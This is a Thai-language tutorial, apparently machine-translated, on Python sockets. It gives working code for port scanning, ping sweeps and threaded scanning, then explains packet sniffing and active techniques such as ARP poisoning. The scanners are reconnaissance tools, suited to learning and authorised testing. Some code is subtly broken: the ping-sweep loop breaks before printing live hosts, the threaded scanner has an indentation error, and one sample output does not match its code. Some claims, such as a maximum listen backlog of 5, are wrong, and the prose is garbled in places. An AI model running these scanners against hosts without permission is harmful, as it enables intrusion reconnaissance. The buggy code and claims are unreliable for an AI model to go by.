ในการใช้การเขียนโปรแกรมซ็อกเก็ตใน python เราจำเป็นต้องใช้โมดูล Socket ต่อไปนี้เป็นไวยากรณ์ง่ายๆในการสร้าง Socket -

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

ที่นี่เราต้องนำเข้าไลบรารีซ็อกเก็ตจากนั้นสร้างซ็อกเก็ตแบบธรรมดา ต่อไปนี้เป็นพารามิเตอร์ต่างๆที่ใช้ในการสร้างซ็อกเก็ต -

• socket_family - นี่คือ AF_UNIX หรือ AF_INET ตามที่อธิบายไว้ก่อนหน้านี้

• socket_type - นี่คือ SOCK_STREAM หรือ SOCK_DGRAM

• protocol - โดยปกติจะถูกปล่อยทิ้งไว้โดยเริ่มต้นเป็น 0

วิธีการซ็อกเก็ต

ในส่วนนี้เราจะเรียนรู้เกี่ยวกับวิธีการซ็อกเก็ตต่างๆ วิธีการซ็อกเก็ตที่แตกต่างกันสามชุดมีคำอธิบายด้านล่าง

• วิธีการซ็อกเก็ตเซิร์ฟเวอร์
• วิธีการซ็อกเก็ตไคลเอนต์
• วิธีการทั่วไปของซ็อกเก็ต

วิธีการซ็อกเก็ตเซิร์ฟเวอร์

ในสถาปัตยกรรมไคลเอนต์เซิร์ฟเวอร์มีเซิร์ฟเวอร์ส่วนกลางหนึ่งเซิร์ฟเวอร์ที่ให้บริการและไคลเอนต์จำนวนมากได้รับบริการจากเซิร์ฟเวอร์ส่วนกลางนั้น ไคลเอนต์ยังร้องขอไปยังเซิร์ฟเวอร์ วิธีการซ็อกเก็ตเซิร์ฟเวอร์ที่สำคัญบางประการในสถาปัตยกรรมนี้มีดังนี้ -

• socket.bind() - วิธีนี้ผูกที่อยู่ (ชื่อโฮสต์หมายเลขพอร์ต) กับซ็อกเก็ต

• socket.listen()- วิธีนี้โดยทั่วไปฟังการเชื่อมต่อที่ทำกับซ็อกเก็ต มันเริ่มตัวฟัง TCP Backlog เป็นอาร์กิวเมนต์ของวิธีนี้ซึ่งระบุจำนวนการเชื่อมต่อที่อยู่ในคิวสูงสุด ค่าต่ำสุดคือ 0 และค่าสูงสุดคือ 5

• socket.accept()- สิ่งนี้จะยอมรับการเชื่อมต่อไคลเอ็นต์ TCP คู่ (conn, address) คือคู่ค่าส่งคืนของวิธีนี้ ที่นี่ conn เป็นวัตถุซ็อกเก็ตใหม่ที่ใช้ในการส่งและรับข้อมูลเกี่ยวกับการเชื่อมต่อและที่อยู่คือที่อยู่ที่ผูกไว้กับซ็อกเก็ต ก่อนใช้วิธีนี้ต้องใช้เมธอด socket.bind () และ socket.listen ()

วิธีการซ็อกเก็ตไคลเอนต์

ไคลเอนต์ในสถาปัตยกรรมไคลเอนต์เซิร์ฟเวอร์ร้องขอเซิร์ฟเวอร์และรับบริการจากเซิร์ฟเวอร์ สำหรับวิธีนี้มีเพียงวิธีเดียวสำหรับลูกค้า -

• socket.connect(address)- วิธีนี้การเชื่อมต่อเซิร์ฟเวอร์ที่ใกล้ชิดอย่างแข็งขันหรือพูดง่ายๆว่าวิธีนี้เชื่อมต่อไคลเอนต์กับเซิร์ฟเวอร์ ที่อยู่อาร์กิวเมนต์แสดงถึงที่อยู่ของเซิร์ฟเวอร์

วิธีการทั่วไปของซ็อกเก็ต

นอกเหนือจากวิธีการซ็อกเก็ตไคลเอนต์และเซิร์ฟเวอร์แล้วยังมีวิธีการซ็อกเก็ตทั่วไปบางวิธีซึ่งมีประโยชน์มากในการเขียนโปรแกรมซ็อกเก็ต วิธีการซ็อกเก็ตทั่วไปมีดังนี้ -

• socket.recv(bufsize)- ตามความหมายของชื่อเมธอดนี้ได้รับข้อความ TCP จากซ็อกเก็ต อาร์กิวเมนต์ bufsize ย่อมาจากขนาดบัฟเฟอร์และกำหนดข้อมูลสูงสุดที่วิธีนี้สามารถรับได้ในคราวเดียว

• socket.send(bytes)- วิธีนี้ใช้ในการส่งข้อมูลไปยังซ็อกเก็ตซึ่งเชื่อมต่อกับเครื่องระยะไกล ไบต์ของอาร์กิวเมนต์จะให้จำนวนไบต์ที่ส่งไปยังซ็อกเก็ต

• socket.recvfrom(data, address)- วิธีนี้รับข้อมูลจากซ็อกเก็ต ค่าสองคู่ (ข้อมูลที่อยู่) จะถูกส่งกลับโดยวิธีนี้ ข้อมูลกำหนดข้อมูลที่ได้รับและที่อยู่ระบุที่อยู่ของซ็อกเก็ตที่ส่งข้อมูล

• socket.sendto(data, address)- ตามความหมายของชื่อวิธีนี้ใช้ในการส่งข้อมูลจากซ็อกเก็ต ค่าสองคู่ (ข้อมูลที่อยู่) จะถูกส่งกลับโดยวิธีนี้ ข้อมูลกำหนดจำนวนไบต์ที่ส่งและที่อยู่ระบุที่อยู่ของเครื่องระยะไกล

• socket.close() - วิธีนี้จะปิดซ็อกเก็ต

• socket.gethostname() - วิธีนี้จะคืนชื่อของโฮสต์

• socket.sendall(data)- วิธีนี้จะส่งข้อมูลทั้งหมดไปยังซ็อกเก็ตซึ่งเชื่อมต่อกับเครื่องระยะไกล มันจะถ่ายโอนข้อมูลอย่างไม่ระมัดระวังจนกว่าจะเกิดข้อผิดพลาดและหากเกิดขึ้นก็จะใช้วิธี socket.close () เพื่อปิดซ็อกเก็ต

โปรแกรมสร้างการเชื่อมต่อระหว่างเซิร์ฟเวอร์และไคลเอนต์

ในการสร้างการเชื่อมต่อระหว่างเซิร์ฟเวอร์และไคลเอนต์เราจำเป็นต้องเขียนโปรแกรม Python สองโปรแกรมที่แตกต่างกันโปรแกรมหนึ่งสำหรับเซิร์ฟเวอร์และอีกโปรแกรมสำหรับไคลเอนต์

โปรแกรมฝั่งเซิร์ฟเวอร์

ในโปรแกรมซ็อกเก็ตฝั่งเซิร์ฟเวอร์นี้เราจะใช้ไฟล์ socket.bind()วิธีที่ผูกเข้ากับที่อยู่ IP และพอร์ตเฉพาะเพื่อให้สามารถรับฟังคำขอที่เข้ามาบน IP และพอร์ตนั้นได้ ต่อมาเราใช้ไฟล์socket.listen()วิธีการที่ทำให้เซิร์ฟเวอร์เข้าสู่โหมดฟัง ตัวเลขพูด 4 เป็นอาร์กิวเมนต์ของsocket.listen()วิธีการหมายความว่าการเชื่อมต่อ 4 รายการจะรอต่อไปหากเซิร์ฟเวอร์ไม่ว่างและหากซ็อกเก็ตที่ 5 พยายามเชื่อมต่อการเชื่อมต่อจะถูกปฏิเสธ เราจะส่งข้อความไปยังลูกค้าโดยใช้ไฟล์socket.send()วิธี. ในตอนท้ายเราใช้socket.accept() และ socket.close()วิธีการเริ่มต้นและปิดการเชื่อมต่อตามลำดับ ต่อไปนี้เป็นโปรแกรมฝั่งเซิร์ฟเวอร์ -

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')
   
   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

โปรแกรมฝั่งไคลเอ็นต์

ในโปรแกรมซ็อกเก็ตฝั่งไคลเอ็นต์เราจำเป็นต้องสร้างวัตถุซ็อกเก็ต จากนั้นเราจะเชื่อมต่อกับพอร์ตที่เซิร์ฟเวอร์ของเรากำลังทำงาน - 12345 ในตัวอย่างของเรา หลังจากนั้นเราจะสร้างการเชื่อมต่อโดยใช้ไฟล์socket.connect()วิธี. จากนั้นใช้ไฟล์socket.recv()วิธีการไคลเอนต์จะได้รับข้อความจากเซิร์ฟเวอร์ ในที่สุดsocket.close() เมธอดจะปิดไคลเอนต์

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

ตอนนี้หลังจากรันโปรแกรมฝั่งเซิร์ฟเวอร์เราจะได้ผลลัพธ์ต่อไปนี้บนเทอร์มินัล -

socket is listening
Got connection from ('192.168.43.75', 49904)

และหลังจากรันโปรแกรมฝั่งไคลเอ็นต์เราจะได้ผลลัพธ์ต่อไปนี้บนเทอร์มินัลอื่น -

Connection Established

การจัดการข้อยกเว้นซ็อกเก็ตเครือข่าย

มีสองช่วงตึกคือ try และ exceptซึ่งสามารถใช้เพื่อจัดการกับข้อยกเว้นซ็อกเก็ตเครือข่าย ต่อไปนี้เป็นสคริปต์ Python สำหรับจัดการข้อยกเว้น -

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

เอาต์พุต

โปรแกรมข้างต้นสร้างผลลัพธ์ต่อไปนี้ -

No connection between client and server

ในสคริปต์ด้านบนก่อนอื่นเราสร้างวัตถุซ็อกเก็ต ตามด้วยการระบุที่อยู่ IP ของโฮสต์และหมายเลขพอร์ตที่เซิร์ฟเวอร์ของเรากำลังทำงาน - 12345 ในตัวอย่างของเรา ต่อมาลองใช้บล็อกและอยู่ข้างในโดยใช้socket.bind()เราจะพยายามผูกที่อยู่ IP และพอร์ต เรากำลังใช้socket.settimeout()วิธีการตั้งเวลารอสำหรับลูกค้าในตัวอย่างของเราเรากำลังตั้งค่า 3 วินาที ใช้บล็อกยกเว้นซึ่งจะพิมพ์ข้อความหากการเชื่อมต่อจะไม่ถูกสร้างขึ้นระหว่างเซิร์ฟเวอร์และไคลเอนต์

การสแกนพอร์ตอาจถูกกำหนดให้เป็นเทคนิคการเฝ้าระวังซึ่งใช้เพื่อค้นหาพอร์ตที่เปิดอยู่บนโฮสต์เฉพาะ ผู้ดูแลระบบเครือข่ายผู้ทดสอบการเจาะระบบหรือแฮ็กเกอร์สามารถใช้เทคนิคนี้ได้ เราสามารถกำหนดค่าเครื่องสแกนพอร์ตตามความต้องการของเราเพื่อรับข้อมูลสูงสุดจากระบบเป้าหมาย

ตอนนี้ให้พิจารณาข้อมูลที่เราจะได้รับหลังจากเรียกใช้การสแกนพอร์ต -

• ข้อมูลเกี่ยวกับพอร์ตที่เปิด

• ข้อมูลเกี่ยวกับบริการที่ทำงานบนแต่ละพอร์ต

• ข้อมูลเกี่ยวกับ OS และที่อยู่ MAC ของโฮสต์เป้าหมาย

การสแกนพอร์ตก็เหมือนกับขโมยที่ต้องการเข้าไปในบ้านโดยตรวจสอบประตูและหน้าต่างทุกบานเพื่อดูว่าบานไหนเปิดอยู่ ตามที่กล่าวไว้ก่อนหน้านี้ชุดโปรโตคอล TCP / IP ใช้สำหรับการสื่อสารผ่านอินเทอร์เน็ตประกอบด้วยสองโปรโตคอลคือ TCP และ UDP โปรโตคอลทั้งสองมีพอร์ต 0 ถึง 65535 ตามที่แนะนำให้ปิดพอร์ตที่ไม่จำเป็นของระบบของเราเสมอดังนั้นโดยพื้นฐานแล้วมีประตูมากกว่า 65000 ประตู (พอร์ต) ให้ล็อค พอร์ต 65535 เหล่านี้สามารถแบ่งออกเป็นสามช่วงต่อไปนี้ -

• ระบบหรือพอร์ตที่รู้จักกันดี: ตั้งแต่ 0 ถึง 1023

• ผู้ใช้หรือพอร์ตที่ลงทะเบียน: ตั้งแต่ 1024 ถึง 49151

• พอร์ตไดนามิกหรือพอร์ตส่วนตัว: ทั้งหมด> 49151

พอร์ตสแกนเนอร์โดยใช้ Socket

ในบทที่แล้วเราได้พูดถึงซ็อกเก็ตคืออะไร ตอนนี้เราจะสร้างเครื่องสแกนพอร์ตอย่างง่ายโดยใช้ซ็อกเก็ต ต่อไปนี้เป็นสคริปต์ Python สำหรับเครื่องสแกนพอร์ตโดยใช้ซ็อกเก็ต -

from socket import *
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)
   
   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)
      
      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

เมื่อเราเรียกใช้สคริปต์ข้างต้นระบบจะแจ้งให้ระบุชื่อโฮสต์คุณสามารถระบุชื่อโฮสต์เช่นชื่อของเว็บไซต์ใด ๆ ก็ได้ แต่โปรดระวังเนื่องจากการสแกนพอร์ตอาจถูกมองว่าเป็นหรือถูกตีความว่าเป็นอาชญากรรม เราไม่ควรเรียกใช้เครื่องสแกนพอร์ตกับเว็บไซต์หรือที่อยู่ IP ใด ๆ โดยไม่ได้รับอนุญาตเป็นลายลักษณ์อักษรจากเจ้าของเซิร์ฟเวอร์หรือคอมพิวเตอร์ที่คุณกำหนดเป้าหมายอย่างชัดเจน การสแกนพอร์ตคล้ายกับการไปบ้านของใครบางคนและตรวจสอบประตูและหน้าต่างของพวกเขา นั่นคือเหตุผลที่แนะนำให้ใช้พอร์ตสแกนเนอร์บน localhost หรือเว็บไซต์ของคุณเอง (ถ้ามี)

เอาต์พุต

สคริปต์ด้านบนสร้างผลลัพธ์ต่อไปนี้ -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

เอาต์พุตแสดงให้เห็นว่าในช่วง 50 ถึง 500 (ตามที่ให้ไว้ในสคริปต์) เครื่องสแกนพอร์ตนี้พบพอร์ตสองพอร์ต - พอร์ต 135 และ 445 เปิดอยู่ เราสามารถเปลี่ยนช่วงนี้และตรวจสอบพอร์ตอื่น ๆ ได้

เครื่องสแกนพอร์ตโดยใช้ ICMP (โฮสต์สดในเครือข่าย)

ICMP ไม่ใช่การสแกนพอร์ต แต่ใช้เพื่อ ping โฮสต์ระยะไกลเพื่อตรวจสอบว่าโฮสต์ทำงานอยู่หรือไม่ การสแกนนี้มีประโยชน์เมื่อเราต้องตรวจสอบโฮสต์สดจำนวนหนึ่งในเครือข่าย เกี่ยวข้องกับการส่งคำขอ ICMP ECHO ไปยังโฮสต์และหากโฮสต์นั้นใช้งานได้อยู่จะส่งคืนการตอบกลับ ICMP ECHO

กระบวนการส่งคำขอ ICMP ข้างต้นเรียกอีกอย่างว่า ping scan ซึ่งจัดทำโดยคำสั่ง ping ของระบบปฏิบัติการ

แนวคิดของ Ping Sweep

จริงๆแล้วในแง่หนึ่งหรืออย่างอื่นการกวาด ping เรียกอีกอย่างว่าการกวาด ping ข้อแตกต่างเพียงอย่างเดียวคือการกวาด ping เป็นขั้นตอนในการค้นหาความพร้อมใช้งานของเครื่องมากกว่าหนึ่งเครื่องในช่วงเครือข่ายเฉพาะ ตัวอย่างเช่นสมมติว่าเราต้องการทดสอบรายการที่อยู่ IP ทั้งหมดจากนั้นโดยใช้การสแกน ping กล่าวคือคำสั่ง ping ของระบบปฏิบัติการจะใช้เวลานานมากในการสแกนที่อยู่ IP ทีละรายการ นั่นคือเหตุผลที่เราต้องใช้สคริปต์กวาด ping ต่อไปนี้เป็นสคริปต์ Python สำหรับค้นหาโฮสต์สดโดยใช้การกวาด ping -

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)
   
   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")
         
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

สคริปต์ข้างต้นทำงานในสามส่วน ขั้นแรกให้เลือกช่วงของที่อยู่ IP เพื่อ ping กวาดสแกนโดยแยกเป็นส่วน ๆ ตามด้วยการใช้ฟังก์ชันซึ่งจะเลือกคำสั่งสำหรับ ping กวาดตามระบบปฏิบัติการและสุดท้ายคือการตอบสนองเกี่ยวกับโฮสต์และเวลาที่ใช้ในการดำเนินการสแกนให้เสร็จสิ้น

เอาต์พุต

สคริปต์ด้านบนสร้างผลลัพธ์ต่อไปนี้ -

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

เอาต์พุตด้านบนไม่แสดงพอร์ตสดเนื่องจากไฟร์วอลล์เปิดอยู่และการตั้งค่าขาเข้า ICMP จะถูกปิดใช้งานด้วย หลังจากเปลี่ยนการตั้งค่าเหล่านี้เราจะได้รับรายการพอร์ตสดในช่วง 1 ถึง 100 ที่ให้ไว้ในเอาต์พุต

เครื่องสแกนพอร์ตโดยใช้การสแกน TCP

ในการสร้างการเชื่อมต่อ TCP โฮสต์ต้องดำเนินการจับมือสามทาง ทำตามขั้นตอนเหล่านี้เพื่อดำเนินการ -

Step 1 − Packet with SYN flag set

ในขั้นตอนนี้ระบบที่พยายามเริ่มการเชื่อมต่อจะเริ่มต้นด้วยแพ็กเก็ตที่มีการตั้งค่าสถานะ SYN

Step 2 − Packet with SYN-ACK flag set

ในขั้นตอนนี้ระบบเป้าหมายจะส่งคืนแพ็กเก็ตที่มีชุดค่าสถานะ SYN และ ACK

Step 3 − Packet with ACK flag set

ในที่สุดระบบเริ่มต้นจะส่งคืนแพ็กเก็ตไปยังระบบเป้าหมายดั้งเดิมด้วยการตั้งค่าสถานะ ACK

อย่างไรก็ตามคำถามที่เกิดขึ้นคือถ้าเราสามารถสแกนพอร์ตโดยใช้ ICMP echo request และวิธีตอบกลับ (ping Sweep scanner) แล้วทำไมเราถึงต้องใช้ TCP scan? เหตุผลหลักที่อยู่เบื้องหลังคือสมมติว่าถ้าเราปิดคุณสมบัติการตอบกลับ ICMP ECHO หรือใช้ไฟร์วอลล์ไปยังแพ็กเก็ต ICMP เครื่องสแกนแบบ ping กวาดจะไม่ทำงานและเราต้องสแกน TCP

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")
         
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

สคริปต์ข้างต้นทำงานในสามส่วน มันเลือกช่วงของที่อยู่ IP เพื่อ ping กวาดสแกนโดยแยกเป็นส่วน ๆ ตามด้วยการใช้ฟังก์ชันสำหรับการสแกนที่อยู่ซึ่งจะใช้ซ็อกเก็ตเพิ่มเติม ต่อมาจะให้คำตอบเกี่ยวกับโฮสต์และเวลาที่ใช้ในการดำเนินการสแกนให้เสร็จสิ้น ผลลัพธ์ = s คำสั่ง connect_ex ((addr, 135)) ส่งกลับตัวบ่งชี้ข้อผิดพลาด ตัวบ่งชี้ข้อผิดพลาดคือ 0 หากการดำเนินการสำเร็จมิฉะนั้นจะเป็นค่าของตัวแปร errno ที่นี่เราใช้พอร์ต 135; สแกนเนอร์นี้ใช้งานได้กับระบบ Windows พอร์ตอื่นที่ใช้งานได้ที่นี่คือ 445 (Microsoft-DSActive Directory) และโดยปกติจะเปิดอยู่

เอาต์พุต

สคริปต์ด้านบนสร้างผลลัพธ์ต่อไปนี้ -

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

Threaded Port Scanner เพื่อเพิ่มประสิทธิภาพ

ดังที่เราได้เห็นในกรณีข้างต้นการสแกนพอร์ตอาจช้ามาก ตัวอย่างเช่นคุณสามารถดูเวลาที่ใช้ในการสแกนพอร์ตตั้งแต่ 50 ถึง 500 ในขณะที่ใช้เครื่องสแกนพอร์ตซ็อกเก็ตคือ 452.3990001678467 ในการปรับปรุงความเร็วเราสามารถใช้เธรดได้ ต่อไปนี้เป็นตัวอย่างของเครื่องสแกนพอร์ตโดยใช้เธรด -

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()
      
q = Queue()
   startTime = time.time()
   
for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()
   
for worker in range(1, 500):
   q.put(worker)
   
q.join()
print('Time taken:', time.time() - startTime)

ในสคริปต์ด้านบนเราจำเป็นต้องนำเข้าโมดูลเธรดซึ่งอยู่ในแพ็คเกจ Python เราใช้แนวคิดการล็อกเธรดthread_lock = threading.Lock()เพื่อหลีกเลี่ยงการแก้ไขหลายครั้ง โดยพื้นฐานแล้ว threading.Lock () จะอนุญาตให้เธรดเดี่ยวเข้าถึงตัวแปรได้ในแต่ละครั้ง ดังนั้นจึงไม่มีการปรับเปลี่ยนซ้ำ

ต่อมาเรากำหนดฟังก์ชัน threader () หนึ่งฟังก์ชันที่จะดึงงาน (พอร์ต) จากผู้ปฏิบัติงานสำหรับการวนซ้ำ จากนั้นจึงเรียกใช้เมธอด portscan () เพื่อเชื่อมต่อกับพอร์ตและพิมพ์ผลลัพธ์ หมายเลขพอร์ตถูกส่งผ่านเป็นพารามิเตอร์ เมื่องานเสร็จสมบูรณ์จะเรียกเมธอด q.task_done ()

หลังจากเรียกใช้สคริปต์ด้านบนแล้วเราจะเห็นความแตกต่างของความเร็วในการสแกนพอร์ต 50 ถึง 500 ใช้เวลาเพียง 1.3589999675750732 วินาทีซึ่งน้อยกว่า 452.3990001678467 เวลาที่สแกนเนอร์พอร์ตซ็อกเก็ตในการสแกนพอร์ตในจำนวนเดียวกันของ localhost

เอาต์พุต

สคริปต์ด้านบนสร้างผลลัพธ์ต่อไปนี้ -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

การดมกลิ่นหรือการดมแพ็กเก็ตเครือข่ายเป็นกระบวนการตรวจสอบและจับแพ็กเก็ตทั้งหมดที่ส่งผ่านเครือข่ายที่กำหนดโดยใช้เครื่องมือดมกลิ่น เป็นรูปแบบที่เราสามารถ "แตะสายโทรศัพท์" และทำความรู้จักกับบทสนทนาได้ เรียกอีกอย่างว่าwiretapping และสามารถนำไปใช้กับเครือข่ายคอมพิวเตอร์

มีความเป็นไปได้มากที่หากชุดของพอร์ตสวิตช์ขององค์กรเปิดอยู่พนักงานคนหนึ่งของพวกเขาจะสามารถสูดดมปริมาณการใช้งานทั้งหมดของเครือข่ายได้ ทุกคนที่อยู่ในสถานที่ตั้งเดียวกันสามารถเสียบเข้ากับเครือข่ายโดยใช้สายอีเทอร์เน็ตหรือเชื่อมต่อแบบไร้สายกับเครือข่ายนั้นและดักจับปริมาณการใช้งานทั้งหมด

กล่าวอีกนัยหนึ่ง Sniffing ช่วยให้คุณเห็นการจราจรทุกประเภททั้งที่มีการป้องกันและไม่มีการป้องกัน ในสภาวะที่เหมาะสมและด้วยโปรโตคอลที่เหมาะสมฝ่ายที่ถูกโจมตีอาจสามารถรวบรวมข้อมูลที่สามารถใช้สำหรับการโจมตีเพิ่มเติมหรือก่อให้เกิดปัญหาอื่น ๆ สำหรับเครือข่ายหรือเจ้าของระบบ

ดมแล้วได้อะไร?

เราสามารถดมข้อมูลที่ละเอียดอ่อนต่อไปนี้จากเครือข่าย -

• การรับส่งอีเมล
• รหัสผ่าน FTP
• การเข้าชมเว็บ
• รหัสผ่าน Telnet
• การกำหนดค่าเราเตอร์
• เซสชันการแชท
• การรับส่งข้อมูล DNS

การดมกลิ่นทำงานอย่างไร?

โดยปกตินักดมกลิ่นจะเปลี่ยน NIC ของระบบเป็นโหมดสำส่อนเพื่อให้มันรับฟังข้อมูลทั้งหมดที่ส่งในเซ็กเมนต์ของมัน

โหมดสำส่อนหมายถึงวิธีการเฉพาะของฮาร์ดแวร์อีเทอร์เน็ตโดยเฉพาะอย่างยิ่งการ์ดเชื่อมต่อเครือข่าย (NIC) ที่ช่วยให้ NIC รับทราฟฟิกทั้งหมดบนเครือข่ายแม้ว่าจะไม่ได้ส่งถึง NIC นี้ก็ตาม โดยค่าเริ่มต้น NIC จะละเว้นการรับส่งข้อมูลทั้งหมดที่ไม่ได้ถูกส่งถึงซึ่งทำได้โดยการเปรียบเทียบที่อยู่ปลายทางของแพ็กเก็ตอีเทอร์เน็ตกับที่อยู่ฮาร์ดแวร์ (MAC) ของอุปกรณ์ แม้ว่าสิ่งนี้จะเหมาะสมอย่างยิ่งสำหรับระบบเครือข่าย แต่โหมดที่ไม่สำส่อนทำให้ยากที่จะใช้ซอฟต์แวร์การตรวจสอบและวิเคราะห์เครือข่ายในการวินิจฉัยปัญหาการเชื่อมต่อหรือการบัญชีการจราจร

นักดมกลิ่นสามารถตรวจสอบการรับส่งข้อมูลทั้งหมดไปยังคอมพิวเตอร์ผ่าน NIC ได้อย่างต่อเนื่องโดยการถอดรหัสข้อมูลที่ห่อหุ้มอยู่ในแพ็กเก็ตข้อมูล

ประเภทของการดมกลิ่น

การดมกลิ่นอาจเป็นแบบ Active หรือ Passive ก็ได้ ตอนนี้เราจะเรียนรู้เกี่ยวกับการดมกลิ่นประเภทต่างๆ

การดมกลิ่นเรื่อย ๆ

ในการดมกลิ่นแบบพาสซีฟการจราจรจะถูกล็อค แต่จะไม่เปลี่ยนแปลง แต่อย่างใด การดมกลิ่นแบบพาสซีฟอนุญาตให้ฟังเท่านั้น ทำงานร่วมกับอุปกรณ์ Hub บนอุปกรณ์ฮับการรับส่งข้อมูลจะถูกส่งไปยังพอร์ตทั้งหมด ในเครือข่ายที่ใช้ฮับในการเชื่อมต่อระบบโฮสต์ทั้งหมดบนเครือข่ายสามารถมองเห็นการรับส่งข้อมูล ดังนั้นผู้โจมตีจึงสามารถดักจับการเข้าชมได้อย่างง่ายดาย

ข่าวดีก็คือฮับเกือบจะล้าสมัยในช่วงไม่กี่ปีที่ผ่านมา เครือข่ายสมัยใหม่ส่วนใหญ่ใช้สวิตช์ ดังนั้นการดมกลิ่นเฉยๆจึงไม่ได้ผลอีกต่อไป

Active Sniffing

ในการดมกลิ่นการจราจรไม่ได้ถูกล็อคและตรวจสอบเท่านั้น แต่ยังอาจมีการเปลี่ยนแปลงบางอย่างตามที่กำหนดโดยการโจมตี Active sniffing ใช้เพื่อสูดดมเครือข่ายที่ใช้สวิตช์ มันเกี่ยวข้องกับการฉีดแพ็กเก็ตความละเอียดที่อยู่ (ARP) ลงในเครือข่ายเป้าหมายเพื่อให้ท่วมบนตารางหน่วยความจำแอดเดรส (CAM) ของสวิตช์ CAM ติดตามว่าโฮสต์ใดเชื่อมต่อกับพอร์ตใด

ต่อไปนี้เป็นเทคนิคการดมกลิ่นที่ใช้งานอยู่ -

• MAC น้ำท่วม
• การโจมตี DHCP
• DNS เป็นพิษ
• การโจมตีด้วยการปลอมแปลง
• ARP เป็นพิษ

ผลการดมกลิ่นต่อโปรโตคอล

โปรโตคอลเช่น tried and true TCP/IPไม่เคยออกแบบโดยคำนึงถึงความปลอดภัย โปรโตคอลดังกล่าวไม่สามารถต้านทานผู้บุกรุกที่อาจเกิดขึ้นได้มากนัก ต่อไปนี้เป็นโปรโตคอลต่างๆที่ช่วยให้ดมกลิ่นได้ง่าย -

HTTP

ใช้เพื่อส่งข้อมูลเป็นข้อความที่ชัดเจนโดยไม่ต้องเข้ารหัสใด ๆ จึงเป็นเป้าหมายที่แท้จริง

SMTP (Simple Mail Transfer Protocol)

SMTP ถูกใช้ในการโอนอีเมล โปรโตคอลนี้มีประสิทธิภาพ แต่ไม่รวมถึงการป้องกันการดมกลิ่น

NNTP (Network News Transfer Protocol)

ใช้สำหรับการสื่อสารทุกประเภท ข้อเสียเปรียบที่สำคัญคือข้อมูลและแม้แต่รหัสผ่านจะถูกส่งผ่านเครือข่ายเป็นข้อความที่ชัดเจน

POP (โพรโทคอลที่ทำการไปรษณีย์)

POP ถูกใช้อย่างเคร่งครัดเพื่อรับอีเมลจากเซิร์ฟเวอร์ โปรโตคอลนี้ไม่รวมถึงการป้องกันการดมกลิ่นเนื่องจากสามารถดักจับได้

FTP (โปรโตคอลการถ่ายโอนไฟล์)

FTP ใช้ในการส่งและรับไฟล์ แต่ไม่มีคุณสมบัติด้านความปลอดภัยใด ๆ ข้อมูลทั้งหมดจะถูกส่งเป็นข้อความที่ชัดเจนซึ่งสามารถดมได้ง่าย

IMAP (โปรโตคอลการเข้าถึงข้อความอินเทอร์เน็ต)

IMAP เหมือนกับ SMTP ในการทำงาน แต่มีความเสี่ยงสูงต่อการดมกลิ่น

Telnet

Telnet ส่งทุกอย่าง (ชื่อผู้ใช้รหัสผ่านการกดแป้นพิมพ์) ผ่านเครือข่ายเป็นข้อความที่ชัดเจนดังนั้นจึงสามารถดมได้ง่าย

